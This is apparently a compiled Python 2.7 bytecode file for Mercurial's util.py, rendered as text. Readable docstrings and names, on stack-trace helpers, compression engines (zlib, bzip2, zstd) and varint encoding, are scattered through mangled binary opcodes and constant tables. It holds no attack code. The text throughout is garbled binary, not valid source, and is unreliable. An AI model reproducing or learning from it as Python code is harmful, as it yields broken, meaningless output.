g|_dS(N(t_hooks(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 scC@s|jj||fdS(N(RR}(R0R8thook((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytadd scG@sM|jjddg}x*|jD]\}}|j||q&W|S(NR;cS@s|dS(Ni((R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s(RtsortR}(R0RvtresultsR8R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__call__ s (RCRDRER4RR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s  s %-*s in %s s%s:%dc c@sgtj| d D]:\}}}}|tj||ftj|f^q| }|rtd|D} xF|D];\} }|dkr| | |fVq~|| | |fVq~WndS(sYields lines for a nicely formatted stacktrace. Skips the 'skip' last entries, then return the last 'depth' entries. Each file+linenumber is formatted according to fileline. Each line is formatted according to line. If line is None, it yields: length of longest filepath+line number, filepath+linenumber, function Not be used in production code but very convenient while developing. ics@s|]}t|dVqdS(iN(RR(Rtentry((s4/usr/lib64/python2.7/site-packages/mercurial/util.pys # sN(RXt extract_stackR tsysbytesRpR@( tskipRtfilelinetdepthRtlnRt_texttentriestfnmaxtfnln((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytgetstackframes s P t stacktracecC@sf|r|jn|jd|jx+t|dd|D]}|j|qAW|jdS(sWWrites a message to f (stderr) with a nicely formatted stacktrace. Skips the 'skip' entries closest to the call, then show 'depth' entries. By default it will flush stdout first. It can be used everywhere and intentionally does not require an ui object. Not be used in production code but very convenient while developing. s%s at: iRN(RRtrstripR(R#RRtotherfRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdebugstacktrace* s  tdirscB@s>eZdZddZdZdZdZdZRS(s9a multiset of directory names from a dirstate or manifestcC@si|_|j}t|drj|dk rjxU|jD])\}}|d|kr:||q:q:Wnx|D]}||qqWdS(NRi(t_dirstaddpathRR@R(R0tmapRRRR2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4< s   cC@sN|j}x>t|D]0}||kr<||cd7W scC@s ||jkS(N(R(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRZ sN( RCRDRER@R4RRR>R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR9 s    cc@sD|jd}x.|dkr?|| V|jdd|}qWdS(NRFii(trfind(RHR.((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR` s tservertclientucompenginewireprotosupportunameuserverpriorityuclientprioritytcompressormanagercB@seZdZdZdZdZdZdZedZ edZ dZ d Z e d Zd Zd ZRS( sGHolds registrations of various compression engines. This class essentially abstracts the differences between compression engines to allow new compression formats to be added easily, possibly from extensions. Compressors are registered against the global instance by calling its ``register()`` method. cC@s1i|_i|_i|_i|_i|_dS(N(t_enginest _bundlenamest _bundletypest_revlogheaderst _wiretypes(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4y s     cC@s |j|S(N(R(R0R;((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR< scC@s ||jkS(N(R(R0R;((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@st|jjS(N(R=RRM(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR> sc C@st|ts$ttdn|j}||jkr[tjtd|n|j}|r|\}}||j krtjtd|n||j krtjtd||j |fn|r||j |RR~RRRRR|RRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRo s     3  RcB@s\eZdZdZdZdZdZdZd dZ dZ d dZ RS( suBase class for compression engines. Compression engines must implement the interface defined by this class. cC@s tdS(sReturns the name of the compression engine. This is the key the engine is registered under. This method must be implemented. N(tNotImplementedError(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@stS(sWhether the compression engine is available. The intent of this method is to allow optional compression engines that may not be available in all installations (such as engines relying on C extensions that may not be present). (R|(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@sdS(sDescribes bundle identifiers for this engine. If this compression engine isn't supported for bundles, returns None. If this engine can be used for bundles, returns a 2-tuple of strings of the user-facing "bundle spec" compression name and an internal identifier used to denote the compression format within bundles. To exclude the name from external usage, set the first element to ``None``. If bundle compression is supported, the class must also implement ``compressstream`` and `decompressorreader``. The docstring of this method is used in the help system to tell users about this engine. N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR" scC@sdS(sDeclare support for this compression format on the wire protocol. If this compression engine isn't supported for compressing wire protocol payloads, returns None. Otherwise, returns ``compenginewireprotosupport`` with the following fields: * String format identifier * Integer priority for the server * Integer priority for the client The integer priorities are used to order the advertisement of format support by server and client. The highest integer is advertised first. Integers with non-positive values aren't advertised. The priority values are somewhat arbitrary and only used for default ordering. The relative order can be changed via config options. If wire protocol compression is supported, the class must also implement ``compressstream`` and ``decompressorreader``. N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 scC@sdS(sPHeader added to revlog chunks that identifies this engine. If this engine can be used to compress revlogs, this method should return the bytes used to identify chunks compressed with this engine. Else, the method should return ``None`` to indicate it does not participate in revlog compression. N(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRM scC@s tdS(sCompress an iterator of chunks. The method receives an iterator (ideally a generator) of chunks of bytes to be compressed. It returns an iterator (ideally a generator) of bytes of chunks representing the compressed output. Optionally accepts an argument defining how to perform compression. Each engine treats this argument differently. N(R(R0tittopts((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytcompressstreamW s cC@s tdS(sPerform decompression on a file object. Argument is an object with a ``read(size)`` method that returns compressed data. Return value is an object with a ``read(size)`` that returns uncompressed data. N(R(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytdecompressorreaderc scC@s tdS(sLObtain an object that can be used to compress revlog entries. The object has a ``compress(data)`` method that compresses binary data. This method returns compressed binary data or ``None`` if the data could not be compressed (too small, not compressible, etc). The returned data should have a header uniquely identifying this compression format so decompression can be routed to this engine. This header should be identified by the ``revlogheader()`` return value. The object has a ``decompress(data)`` method that decompresses data. The method will only be called if ``data`` begins with ``revlogheader()``. The method should return the raw, uncompressed data or raise a ``StorageError``. The object is reusable but is not thread safe. N(R(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytrevlogcompressorl sN( RCRDRERRRRRR@RRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s   t_CompressedStreamReadercB@s#eZdZdZdZRS(cC@sIt|dr|j|_n |j|_g|_d|_t|_dS(NRsi(RRst_readerRQt_pendingt_posReRf(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 s    cC@s tdS(N(R(R0R:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _decompress scC@sWg}xJtrRx|jrt|jd||jkr|jd}|j||j|j|!|j|7_dj|S|jjd}|jr|j||j|t||j8}n|j||t|8}d|_qW|jr dj|S|jd}|j || r |j r |j r dj|Sq WdS(NiRi( R|RRRRR}RtR!RfRR(R0R4RztnewbufR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQ s*           (RCRDR4RRQ(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s t_GzipCompressedStreamReadercB@seZdZdZRS(cC@s)tt|j|tj|_dS(N(R`RR4tzlibt decompressobjt _decompobj(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 scC@s|jj|}|r+|jj|n|jj}y6|jd|j|jdkrot|_nWnt j k rnXdS(NR6( Rt decompressRR}RRt unused_dataR|RfRR(R0R:RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s  (RCRDR4R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s t_BZ2CompressedStreamReadercB@seZdZdZRS(cC@s)tt|j|tj|_dS(N(R`R R4tbz2tBZ2DecompressorR(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 scC@s|jj|}|r+|jj|ny=x6trf|jjd}|rb|jj|q1Pq1WWntk rt|_nXdS(NR(RRRR}R|tEOFErrorRf(R0R:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s   (RCRDR4R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR  s t#_TruncatedBZ2CompressedStreamReadercB@seZdZRS(cC@sEtt|j||jjd}|rA|jj|ndS(NtBZ(R`R R4RRRR}(R0ROR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 s(RCRDR4(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR  st_ZstdCompressedStreamReadercB@seZdZdZRS(cC@s8tt|j|||_|jj|_dS(N(R`RR4t_zstdtZstdDecompressorRR(R0ROtzstd((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4 s cC@s|jj|}|r+|jj|ny=x6trf|jjd}|rb|jj|q1Pq1WWn |jjk rt|_nXdS(NR(RRRR}R|Rt ZstdErrorRf(R0R:R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s  (RCRDR4R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s t _zlibenginecB@sceZdZdZdZdZd dZdZde fdYZ d dZ RS( cC@sdS(NR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@sdS(szlib compression using the DEFLATE algorithm. All Mercurial clients should support this format. The compression algorithm strikes a reasonable balance between compression ratio and size. tgziptGZ(RR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@stdddS(NRi(tcompewireprotosupport(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scC@sdS(NR6((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scc@sd|p i}tj|jdd}x+|D]#}|j|}|r.|Vq.q.W|jVdS(NRi(Rt compressobjRtcompressR(R0RRtzR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s   cC@s t|S(N(R(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRstzlibrevlogcompressorcB@seZdZdZRS(cC@st|}|dkst|dkr.dS|dkrctj|}t||kr_|SdStj}g}d}x=||kr|d}|j|j|||!|}q~W|j|jtt t||krdj |SdSdS(Nii,i@BiiRi( RRRlR@RRRR}RtsumRRt(R0R6tinsizet compressedRRR.tpos2((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s(       cC@sPytj|SWn8tjk rK}tjtdtj|nXdS(Nsrevlog decompress error: %s(RRRt StorageErrorR.R t forcebytestr(R0R6R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR(s (RCRDRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@s |jS(N(R(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR/sN( RCRDRRRRR@RRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s    't _bz2enginecB@s8eZdZdZdZddZdZRS(cC@sdS(NR ((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR5scC@sdS(sAn algorithm that produces smaller bundles than ``gzip``. All Mercurial clients should support this format. This engine will likely produce smaller bundles than ``gzip`` but will be significantly slower, both during compression and decompression. If available, the ``zstd`` engine can yield similar or better compression at much higher speeds. tbzip2R(R#R((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR8s cC@stdddS(NR#i(R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRHscc@sd|p i}tj|jdd}x+|D]#}|j|}|r.|Vq.q.W|jVdS(NRi (R t BZ2CompressorRRR(R0RRRR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRKs   cC@s t|S(N(R (R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRUsN(RCRDRRRR@RR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR"4s     t_truncatedbz2enginecB@s#eZdZdZdZRS(cC@sdS(Nt bz2truncated((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR[scC@sdS(Nt _truncatedBZ(NR'(R@(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR^scC@s t|S(N(R (R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRcs(RCRDRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR%Zs  t _noopenginecB@sZeZdZdZdZddZdZdefdYZ ddZ RS( cC@sdS(Ntnone((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRiscC@sdS(smNo compression is performed. Use this compression engine to explicitly disable compression. R)tUN(R)R*((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRlscC@stdddS(NR)ii (R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRvscC@s|S(N((R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR|scC@s|S(N((R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRstnooprevlogcompressorcB@seZdZRS(cC@sdS(N(R@(R0R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs(RCRDR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR+scC@s |jS(N(R+(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRsN( RCRDRRRR@RRRR+R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR(hs    t _zstdenginecB@s{eZdZedZdZdZdZdZd dZ dZ de fd YZ d d ZRS( cC@sdS(NR((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscC@s8yddlm}|j|SWntk r3dSXdS(Ni(R(RRRRR@(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt_modules  cC@s t|jS(N(RiR-(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscC@sdS(sA modern compression algorithm that is fast and highly flexible. Only supported by Mercurial 4.1 and newer clients. With the default settings, zstd compression is both faster and yields better compression than ``gzip``. It also frequently yields better compression than ``bzip2`` while operating at much higher speeds. If this engine is available and backwards compatibility is not a concern, it is likely the best available engine. RtZS(RR.((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@stdddS(NRi2(R(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscC@sdS(Ns(((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscc@s||p i}|jdd}|j}|jd|j}x+|D]#}|j|}|rF|VqFqFW|jVdS(NRi(RR-tZstdCompressorRRR(R0RRRRRR:R6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs    cC@st||jS(N(RR-(R0RO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRstzstdrevlogcompressorcB@s&eZddZdZdZRS(icC@s@|jd||_|j|_|j|_|j|_dS(NR(R/t_cctxRt_dctxt"COMPRESSION_RECOMMENDED_INPUT_SIZEt _compinsizet$DECOMPRESSION_RECOMMENDED_INPUT_SIZEt _decompinsize(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s c C@st|}|dkst|dkr.dS|dkrf|jj|}t||krb|SdS|jj}g}d}xO||kr||j}|j|||!}|r|j|n|}qW|j|jt t t||krdj |SdSdS(Nii2i@BR( RRRlR@R1RRR4R}RRRRt( R0R6RRRR-R.RR:((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs,      c C@st|}y~|jj}g}d}xO||kr{||j}|j|||!}|rr|j|n|}q-Wdj|SWn5tk r}tj t dt j |nXdS(NiRsrevlog decompress error: %s( RRR2RR6RR}Rtt ExceptionRR R.R R!( R0R6RtdobjR-R.RR:R ((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs   (RCRDR4RR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR0s cC@s.|p i}|j|jd|jddS(NRi(R0R-R(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs N(RCRDRR.R-RRRRR@RRRR0R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR,s       >cC@si}dtfdY}xtD]}t|}|jsEq#n|j}| s#|d riq#nd|dtj|jf}|}tj||_|jj|_|j|_ |||d>> uvarintencode(0) '\x00' >>> uvarintencode(1) '\x01' >>> uvarintencode(127) '\x7f' >>> uvarintencode(1337) '\xb9\n' >>> uvarintencode(65536) '\x80\x80\x04' >>> uvarintencode(-1) Traceback (most recent call last): ... ProgrammingError: negative value for uvarint: -1 isnegative value for uvarint: %diiiR(RtProgrammingErrorR}R tbytechrRt(RRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt uvarintencodeNs       cC@s\d}d}xItrWtt|d}||d@|>O}|d@sJ|S|d7}qWdS(sDecode an unsigned variable length integer from a stream. The passed argument is anything that has a ``.read(N)`` method. >>> try: ... from StringIO import StringIO as BytesIO ... except ImportError: ... from io import BytesIO >>> uvarintdecodestream(BytesIO(b'\x00')) 0 >>> uvarintdecodestream(BytesIO(b'\x01')) 1 >>> uvarintdecodestream(BytesIO(b'\x7f')) 127 >>> uvarintdecodestream(BytesIO(b'\xb9\n')) 1337 >>> uvarintdecodestream(BytesIO(b'\x80\x80\x04')) 65536 >>> uvarintdecodestream(BytesIO(b'\x80')) Traceback (most recent call last): ... Abort: stream ended unexpectedly (got 0 bytes, expected 1) iiiiiN(R|RRG(ROR%tshifttbyte((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytuvarintdecodestreamss  (REt __future__RRRR R+t contextlibRR?thashlibRARR{tplatformt pyplatformtreRRzRhR~RZttimeRXRRt thirdpartyRthgdemandimportRRRRRRR8RR R tutilsR R t importmodR RRt b85decodet b85encodet cookielibthttplibtpickleRt socketservertbytesiotstringiot xmlrpclibt httpserverturlerrRRRt iswindowsRRR.tbindunixsockett cachestatt checkexect checklinkR}t expandglobstgetfsmountpointRqt groupmemberst groupnametisexectisownerRRGt lookupregR!RRRt normcasespectnormcasefallbackt openhardlinksRutparsepatchoutputRKtpollRRyRRt samedevicetsamefiletsamestattsetflagsRRRt statisexect statislinktumaskRptusernametrecvfdsRRRRRitenvironRRtfilterwarningsR"tispy3R&R'R(R)R,R?R3RlR*RGR[t NameErrorR@RqR\RR^R_RRRRR|ReRRRR$RRRt OrderedDictRRKRRRtcontextmanagerR R R RR-R.R5R<R=R>RERRTt mainfrozenRHRrt sysexecutabletdatapathtfsencodet__file__t setdatapathR^RtR{RRRRtcheckosfilenametclockRRRRRRRRRRRRRRRLRRnRRRR#R'R)R+R,RR;RERIt bytecountRJRRMRORPRQt oslinesept tonativeeolt fromnativeeoltnativeeolwritertidentitytpython_implementationt version_infoRSR[R]R`RgRkRlRR~RRRRRR2RRRRRRRRRtstdoutRRRRRt namedtupleRRR:RRRR R RRRR"R%R(R,R@R5t i18nfunctionsRRERGRJRM(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyts                    4                                                                     /   l ) i[u  R         $   5( ! /           +  *   )f?    P%              1         '6 $     u(M$ !}   %